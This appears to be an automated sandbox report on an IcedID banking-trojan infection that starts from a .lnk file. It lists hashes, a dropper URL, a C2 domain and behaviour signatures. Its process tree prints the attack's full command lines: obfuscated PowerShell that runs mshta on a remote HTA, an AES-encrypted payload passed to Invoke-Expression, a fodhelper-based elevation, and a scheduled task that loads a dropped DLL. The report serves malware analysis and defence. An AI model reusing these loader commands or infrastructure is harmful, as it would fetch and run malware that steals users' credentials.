Resubmissions

24-05-2022 12:25

220524-pllvsaabg7 10

Analysis

  • max time kernel
    144s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    24-05-2022 12:25

General

  • Target

    54267-876-8676.lnk

  • Size

    2KB

  • MD5

    9edabe11d846a6de5d337e737d24e85c

  • SHA1

    26f63aac40c4e9f459a379eec94a258b604f582e

  • SHA256

    4b582f38e3376346cb066e36ff8dfa32b268154bb2de13870702e8bbf366a023

  • SHA512

    5e88d418cb26f4bfd7bf5d1b2dbf31a8f026bbf29c760919d2986c883de6067df75c5eb8ca790a2c4a7ef09b87a2c6ba1b62e57e76fc3b32af633317639c6f0e

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

https://modhub.com.br/upload.hta

Extracted

Family

icedid

Campaign

109932505

C2

ilekvoyn.com

Signatures

  • IcedID, BokBot

    IcedID is a banking trojan capable of stealing credentials.

  • suricata: ET MALWARE Win32/IcedID Request Cookie

    suricata: ET MALWARE Win32/IcedID Request Cookie

  • Blocklisted process makes network request 6 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Drops file in Program Files directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies registry class 11 IoCs
  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\54267-876-8676.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5104
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" <#~@+uvOSgQ:Z#>$tEIiiZsclbDp=@(96580,96586,96575,96587,96568,96503,96575,96587,96587,96583,96586,96529,96518,96518,96580,96582,96571,96575,96588,96569,96517,96570,96582,96580,96517,96569,96585,96518,96588,96583,96579,96582,96568,96571,96517,96575,96587,96568);<#~@+uvOSgQ:Z#>$IMvbvbxLdUneQIhgXc=@(96544,96540,96559);<#~@+uvOSgQ:Z#>function xqvxwsJeK($LmLHgHafCwGhrN){$iSqvUTYMYOTHbW=96471;<#~@+uvOSgQ:Z#>$izdBrBghcDulg=$Null;foreach($eEFlcMD in $LmLHgHafCwGhrN){$izdBrBghcDulg+=[char]($eEFlcMD-$iSqvUTYMYOTHbW)};return $izdBrBghcDulg};sal UJNjnKJgNJogU (xqvxwsJeK $IMvbvbxLdUneQIhgXc);<#~@+uvOSgQ:Z#>UJNjnKJgNJogU((xqvxwsJeK $tEIiiZsclbDp));
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2188
      • C:\Windows\system32\mshta.exe
        "C:\Windows\system32\mshta.exe" https://modhub.com.br/upload.hta
        3⤵
        • Blocklisted process makes network request
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:1432
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted $UGJgEhmuQd = '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';$WKVNMcNuTUpXE = 'bUlYbmdVTkJkVnNvWVJVeXFwcHBVeHJuanZpeVFGYlY=';$oFbHgtfJ = New-Object 'System.Security.Cryptography.AesManaged';$oFbHgtfJ.Mode = [System.Security.Cryptography.CipherMode]::ECB;$oFbHgtfJ.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$oFbHgtfJ.BlockSize = 128;$oFbHgtfJ.KeySize = 256;$oFbHgtfJ.Key = [System.Convert]::FromBase64String($WKVNMcNuTUpXE);$gCoYl = [System.Convert]::FromBase64String($UGJgEhmuQd);$ICVweoIsktHXuPbT = $gCoYl[0..15];$oFbHgtfJ.IV = $ICVweoIsktHXuPbT;$ISrVZKmzx = $oFbHgtfJ.CreateDecryptor();$BVbcZFBkTOHzRio = $ISrVZKmzx.TransformFinalBlock($gCoYl, 16, $gCoYl.Length - 16);$oFbHgtfJ.Dispose();$yPWz = New-Object System.IO.MemoryStream( , $BVbcZFBkTOHzRio );$cSgQKoGnaBTUr = New-Object System.IO.MemoryStream;$FBjahzKZdIyOBKk = New-Object System.IO.Compression.GzipStream $yPWz, ([IO.Compression.CompressionMode]::Decompress);$FBjahzKZdIyOBKk.CopyTo( $cSgQKoGnaBTUr );$FBjahzKZdIyOBKk.Close();$yPWz.Close();[byte[]] $kDPXaLSxrvyUbr = $cSgQKoGnaBTUr.ToArray();$zZiPscSF = [System.Text.Encoding]::UTF8.GetString($kDPXaLSxrvyUbr);Invoke-Expression($zZiPscSF)
          4⤵
          • Blocklisted process makes network request
          • Modifies registry class
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2952
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\AppData\Local\Temp\DeepL_Logo_darkBlue_v2.svg
            5⤵
            • Adds Run key to start application
            • Enumerates system info in registry
            • Modifies registry class
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of WriteProcessMemory
            PID:1276
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xdc,0x104,0x7ff91c6a46f8,0x7ff91c6a4708,0x7ff91c6a4718
              6⤵
                PID:2312
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2120,12397166318123119545,12428188406829546058,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2164 /prefetch:2
                6⤵
                  PID:4296
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2120,12397166318123119545,12428188406829546058,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2456 /prefetch:3
                  6⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:408
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2120,12397166318123119545,12428188406829546058,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3252 /prefetch:8
                  6⤵
                    PID:752
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,12397166318123119545,12428188406829546058,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3708 /prefetch:1
                    6⤵
                      PID:4004
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,12397166318123119545,12428188406829546058,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3720 /prefetch:1
                      6⤵
                        PID:3676
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,12397166318123119545,12428188406829546058,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5496 /prefetch:1
                        6⤵
                          PID:3088
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,12397166318123119545,12428188406829546058,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5528 /prefetch:1
                          6⤵
                            PID:3400
                          • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2120,12397166318123119545,12428188406829546058,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5880 /prefetch:8
                            6⤵
                              PID:3644
                            • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --configure-user-settings --verbose-logging --system-level --msedge --force-configure-user-settings
                              6⤵
                              • Drops file in Program Files directory
                              PID:4528
                              • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\MsEdgeCrashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x220,0x224,0x228,0x1fc,0x22c,0x7ff7f62f5460,0x7ff7f62f5470,0x7ff7f62f5480
                                7⤵
                                  PID:1952
                              • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2120,12397166318123119545,12428188406829546058,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5880 /prefetch:8
                                6⤵
                                • Suspicious behavior: EnumeratesProcesses
                                PID:1312
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2120,12397166318123119545,12428188406829546058,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=6076 /prefetch:8
                                6⤵
                                  PID:928
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2120,12397166318123119545,12428188406829546058,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2836 /prefetch:8
                                  6⤵
                                    PID:4068
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2120,12397166318123119545,12428188406829546058,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4892 /prefetch:8
                                    6⤵
                                      PID:4020
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2120,12397166318123119545,12428188406829546058,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3140 /prefetch:8
                                      6⤵
                                        PID:3760
                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2120,12397166318123119545,12428188406829546058,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6080 /prefetch:8
                                        6⤵
                                          PID:396
                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2120,12397166318123119545,12428188406829546058,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3584 /prefetch:8
                                          6⤵
                                            PID:5056
                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2120,12397166318123119545,12428188406829546058,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2644 /prefetch:2
                                            6⤵
                                            • Suspicious behavior: EnumeratesProcesses
                                            PID:428
                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2120,12397166318123119545,12428188406829546058,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2632 /prefetch:8
                                            6⤵
                                              PID:4712
                                          • C:\Windows\System32\fodhelper.exe
                                            "C:\Windows\System32\fodhelper.exe"
                                            5⤵
                                            • Suspicious use of WriteProcessMemory
                                            PID:2116
                                            • C:\Windows\system32\cmd.exe
                                              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lxpwR.bat" "
                                              6⤵
                                              • Suspicious use of WriteProcessMemory
                                              PID:3776
                                              • C:\Windows\system32\cmd.exe
                                                C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\lxpwR.bat" *
                                                7⤵
                                                • Suspicious use of WriteProcessMemory
                                                PID:2340
                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                  powershell.exe function lXaTHPIMgDeIVvlfqHA ($nARswVhMRcfL){ $SfuFUBdulKOIhfkjXUL = 'Core update check'; $yIeGITfeyZCr = @{ Action = (New-ScheduledTaskAction -Execute "Rundll32.exe" -Argument ' C:\Users\Admin\AppData\Local\Temp\0397ase.dll,DllRegisterServer'); Trigger = (New-ScheduledTaskTrigger -Once -At(Get-Date).AddSeconds(5)); TaskName = $SfuFUBdulKOIhfkjXUL; Description = 'Core updating process.'; TaskPath = 'UpdateCheck'; RunLevel = 'Highest'}; Register-ScheduledTask @yIeGITfeyZCr -Force}; lXaTHPIMgDeIVvlfqHA C:\Users\Admin\AppData\Local\Temp\0397ase.dll
                                                  8⤵
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:380
                                                • C:\Windows\system32\cmd.exe
                                                  cmd /c del "C:\Users\Admin\AppData\Local\Temp\lxpwR.bat"
                                                  8⤵
                                                    PID:2420
                                    • C:\Windows\System32\CompPkgSrv.exe
                                      C:\Windows\System32\CompPkgSrv.exe -Embedding
                                      1⤵
                                        PID:3076
                                      • C:\Windows\system32\Rundll32.exe
                                        Rundll32.exe C:\Users\Admin\AppData\Local\Temp\0397ase.dll,DllRegisterServer
                                        1⤵
                                        • Blocklisted process makes network request
                                        • Loads dropped DLL
                                        • Suspicious behavior: EnumeratesProcesses
                                        • Suspicious use of FindShellTrayWindow
                                        PID:1048
                                      • C:\Windows\system32\svchost.exe
                                        C:\Windows\system32\svchost.exe -k appmodel -p -s camsvc
                                        1⤵
                                          PID:2352

                                        Network

                                        MITRE ATT&CK Matrix ATT&CK v6

                                        Persistence

                                        Registry Run Keys / Startup Folder

                                        1
                                        T1060

                                        Defense Evasion

                                        Modify Registry

                                        1
                                        T1112

                                        Discovery

                                        Query Registry

                                        2
                                        T1012

                                        System Information Discovery

                                        3
                                        T1082

                                        Replay Monitor

                                        Loading Replay Monitor...

                                        Downloads

                                        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                          Filesize

                                          2KB

                                          MD5

                                          2f57fde6b33e89a63cf0dfdd6e60a351

                                          SHA1

                                          445bf1b07223a04f8a159581a3d37d630273010f

                                          SHA256

                                          3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

                                          SHA512

                                          42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Trust Protection Lists\1.0.0.21\Mu\Advertising
                                          Filesize

                                          24KB

                                          MD5

                                          4e9962558e74db5038d8073a5b3431aa

                                          SHA1

                                          3cd097d9dd4b16a69efbb0fd1efe862867822146

                                          SHA256

                                          6f81212bd841eca89aa6f291818b4ad2582d7cdb4e488adea98261494bdcd279

                                          SHA512

                                          fcd76bca998afc517c87de0db6ee54e45aa2263fa7b91653ac3adb34c41f3681fbe19d673ae9b24fdf3d53f5af4e4968e603a1eb557207f8860ac51372026b2e

                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Trust Protection Lists\1.0.0.21\Mu\Analytics
                                          Filesize

                                          4KB

                                          MD5

                                          fad197d6ffd32d1268b9e7e8d13ab32a

                                          SHA1

                                          b0129887a75965bb2ef56a2c39d3231e5b87265d

                                          SHA256

                                          4e446af739e1a06b48a73607e9441bc4aa34ceafd808ff845864408179a4d2c3

                                          SHA512

                                          01d9f588bfa315e316ff0ff4a15a0a49144fd77ee89960882cd528d7f7a277b086667cea2357c3ca2bd16a2b3f4aeb7fcaf473501b499101be68acbe1e0126cb

                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Trust Protection Lists\1.0.0.21\Mu\CompatExceptions
                                          Filesize

                                          660B

                                          MD5

                                          900263477e1368869fbf1be99990c878

                                          SHA1

                                          e56e199aa4119f3cc4c4d46f96daea89bbf9685a

                                          SHA256

                                          7f660d9db521646e9c6510d844b6c6ea26716b620c46f34edaf7ce318a9473e4

                                          SHA512

                                          1035b388b4b00c744824d13c5ef48118d88abbb53e9d76896a2d96a2a127a7739c119e781d7d5f0b8d910e10539c0c502c9f937fc2487747c65e7285f4b1e6d2

                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Trust Protection Lists\1.0.0.21\Mu\Content
                                          Filesize

                                          6KB

                                          MD5

                                          94c183b842784d0ae69f8aa57c8ac015

                                          SHA1

                                          c5b1ebc2b5c140ccbb21cd377ca18f3c5d0b80cd

                                          SHA256

                                          aa5c4d50684aa478d5982e509cbf1f8347fbc9cc75cb847d54915c16c3a33d25

                                          SHA512

                                          5808ddb81657acf4712fa845c95aacbab32a414ffda3b9d1218637e2d53bd3e0d6b95c872779ead6eaa13b4d2d563494ad5587337958bd17f1e791fad5d822fb

                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Trust Protection Lists\1.0.0.21\Mu\Cryptomining
                                          Filesize

                                          1KB

                                          MD5

                                          8c31feb9c3faaa9794aa22ce9f48bfbd

                                          SHA1

                                          f5411608a15e803afc97961b310bb21a6a8bd5b6

                                          SHA256

                                          6016fd3685046b33c7a2b1e785ac757df20e7c760abe0c27e1b8b0294222421d

                                          SHA512

                                          ba4b5886c04ba8f7a7dbb87e96d639783a5969a245de181cf620b8f536e3ac95bbd910cd2f1f6aae6c3cd70fc1ef6209dc10d2b083ec51861b51d83f95811baa

                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Trust Protection Lists\1.0.0.21\Mu\Entities
                                          Filesize

                                          68KB

                                          MD5

                                          0d37c9d98f35f2c6524bd9b874ec93ed

                                          SHA1

                                          87d2d1149db8a1c2d91bc8d2d6e2827d2d8850f5

                                          SHA256

                                          19ce05d2716fae5d0d6e2067a7a624c0fa7f8b02486d9469861fd30cf1c499ac

                                          SHA512

                                          68e73804a144cbe7287c2136ab1986c4e2a97c497d5bfd36ef5db0f1fb1b4a28839d63d83019082ce61af9b42853934888ce05d6b28350742776b97fa310a575

                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Trust Protection Lists\1.0.0.21\Mu\Fingerprinting
                                          Filesize

                                          1KB

                                          MD5

                                          b51076d21461e00fcbf3dbd2c9e96b2b

                                          SHA1

                                          31311536cf570f2f9c88d21f03a935ac6e233231

                                          SHA256

                                          21a8d3e85d76761a1aab9dca765efef5dfa08d49db037befd91833e4639dd993

                                          SHA512

                                          3e193220ddddc47ecea32a2f777e55faa12c7a8052323455c8d7a89c01048155c77ae009fd0f5bebea89f1fae4a88b6b3ceca4e808064f474ea5b3a9497598cb

                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Trust Protection Lists\1.0.0.21\Mu\Other
                                          Filesize

                                          34B

                                          MD5

                                          cd0395742b85e2b669eaec1d5f15b65b

                                          SHA1

                                          43c81d1c62fc7ff94f9364639c9a46a0747d122e

                                          SHA256

                                          2b4a47b82cbe70e34407c7df126a24007aff8b45d5716db384d27cc1f3b30707

                                          SHA512

                                          4df2ce734e2f7bc5f02bb7845ea801b57dcf649565dd94b1b71f578b453ba0a17c61ccee73e7cff8f23cdd6aa37e55be5cb15f4767ff88a9a06de3623604fbf0

                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Trust Protection Lists\1.0.0.21\Mu\Social
                                          Filesize

                                          999B

                                          MD5

                                          152b745da17397ed5a2f3059bb157600

                                          SHA1

                                          47bf4e575ba1acf47dcc99f1800f753b4cc65ef6

                                          SHA256

                                          ef994058a637f7b1b47c31c8670977084d1f86cc21a196920aa87f8ed31e98e8

                                          SHA512

                                          4984a8a46eb452b3c62f2c2ca8c9d999de37c39895ad9a9ed91d12a7731b1cd227f335829f7a6927f19cd8bf4dd7d6749fc853461a46fc97853d5b9e23171d31

                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Trust Protection Lists\1.0.0.21\Sigma\Advertising
                                          Filesize

                                          459B

                                          MD5

                                          d024831cae8599f0edee70275d99e843

                                          SHA1

                                          69e08b543802b130da5305cbb0140bda5601079c

                                          SHA256

                                          0b75817b9ce2164f52e537c66bbff0fe53024bf9a00fb193efd63fe48f34a978

                                          SHA512

                                          ee1096446f6a17bc3fde9aadb418ca4b2db5132cdde1e429300487aaf4d8b9865a3bbc95d3a3198cde137a6395f69c035b74a72f74edc22a490bccc3320b0b03

                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Trust Protection Lists\1.0.0.21\Sigma\Analytics
                                          Filesize

                                          50B

                                          MD5

                                          4cefbb980962973a354915a49d1b0f4d

                                          SHA1

                                          1d20148cab5cdadb85fad6041262584a12c2745d

                                          SHA256

                                          66de8db363de02974a1471153112e51f014bb05936ce870c433fd9a85b34455a

                                          SHA512

                                          6a088bbc6c40454165ddee3183667d2997dca5fcc8312f69e3c2397e61255e49b5146b24c2c64cd3c8867289e3abfdf1155e47722fdd8276f96d51e8f311d4b0

                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Trust Protection Lists\1.0.0.21\Sigma\Content
                                          Filesize

                                          36B

                                          MD5

                                          7f077f40c2d1ce8e95faa8fdb23ed8b4

                                          SHA1

